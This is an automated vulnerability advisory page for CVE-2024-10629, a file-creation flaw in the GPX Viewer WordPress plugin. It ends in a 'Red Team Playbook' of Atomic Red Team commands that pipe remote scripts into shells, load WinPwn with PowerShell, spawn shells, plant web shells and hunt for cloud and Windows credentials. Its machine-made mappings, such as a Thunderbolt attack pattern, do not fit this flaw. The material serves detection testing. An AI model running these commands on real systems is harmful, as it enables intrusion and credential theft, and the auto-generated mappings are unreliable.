CVE-2024-10629
Overview
This vulnerability is an arbitrary file creation flaw rooted in the absence of proper capability checks and file type validation within the gpxv_file_upload() function of the axelkeller GPX Viewer WordPress plugin. The affected component is the file upload handler in versions up to and including 2.2.9, which processes user-supplied files without verifying user permissions or restricting file types, enabling unauthorized file writes to the server filesystem.
Vulnerability Description
The GPX Viewer plugin for WordPress is vulnerable to arbitrary file creation due to a missing capability check and file type validation in the gpxv_file_upload() function in all versions up to, and including, 2.2.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to create arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with subscriber-level or higher access can create arbitrary files on the web server, potentially leading to remote code execution or persistent server compromise. Exploitation requires authentication but no user interaction beyond login. This enables lateral movement within the application environment and possible data exfiltration or service disruption. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attack vector with low complexity and privileges required but no user interaction, emphasizing the risk posed by authenticated low-privilege users.
Solution
Upgrade the axelkeller GPX Viewer WordPress plugin to version 2.2.10 or later, where the vulnerability is patched by adding proper capability checks and file type validation in the gpxv_file_upload() function. Detailed patch information and version updates are available at the WordPress plugin repository changelog (https://plugins.trac.wordpress.org/changeset?old_path=/gpx-viewer/tags/2.2.9&new_path=/gpx-viewer/tags/2.2.10). No alternative workarounds are documented in the referenced advisories.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the GPX Viewer plugin for WordPress stems from inadequate security measures in the file upload functionality, specifically within the gpxv_file_upload() function. This flaw arises from a lack of proper capability checks and insufficient validation of file types, which allows authenticated users, including those with minimal privileges such as subscriber-level access, to upload arbitrary files to the server. The absence of these critical security controls means that an attacker can exploit this vulnerability to create files of their choosing, potentially leading to remote code execution if the uploaded files are executable scripts or malicious payloads.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with access to the WordPress site, even at a low privilege level, can utilize the file upload feature to introduce malicious files. For instance, they could upload a PHP script disguised as an image or document. Once the file is executed on the server, the attacker could gain unauthorized access to the server environment, manipulate files, or even pivot to other systems within the network. This scenario highlights the ease with which an attacker can leverage a seemingly innocuous feature to compromise the integrity and security of the entire web application.
The real-world implications of this vulnerability are significant, particularly for organizations that rely on WordPress for their web presence. The potential for remote code execution poses a severe business risk, as it can lead to data breaches, loss of sensitive information, and damage to the organization's reputation. Furthermore, the ability for an attacker to manipulate server files can result in service disruptions, financial losses, and legal repercussions, especially if customer data is compromised. The high CVSS score of 8.8 underscores the critical nature of this vulnerability, indicating that it requires immediate attention from affected organizations.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate weaknesses in plugins and themes. Monitoring user activity can also help in detecting unauthorized file uploads or suspicious behavior. Additionally, organizations should enforce strict file type validation and implement capability checks to ensure that only authorized users can perform file uploads. Updating the GPX Viewer plugin to the latest version, which includes security patches, is crucial in mitigating this risk. Furthermore, employing a Web Application Firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the server.
In conclusion, the vulnerability within the GPX Viewer plugin highlights the critical importance of robust security practices in web applications. The ease of exploitation and the potential for severe consequences necessitate immediate action from organizations using this plugin. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their digital assets from malicious actors.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-10629
GPX Viewer <= 2.2.8 - Authenticated (Subscriber+) Arbitrary File Creation
|
RandomRobbieBF | 0 | 0 | 2024-11-12 | View |
|
Nxploited/CVE-2024-10629
GPX Viewer <= 2.2.8 - Authenticated (Subscriber+) Arbitrary File Creation
|
Nxploited | 0 | 0 | 2025-03-09 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10629 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/cfc6ff21-52f5-453f-bf97-881c39be1aeb?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/gpx-viewer/tags/2.2.9/gpx-viewer-admin.php#L144 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?old_path=/gpx-viewer/tags/2.2.9&new_path=/gpx-viewer/tags/2.2.10&sfp_email=&sfph_mail= |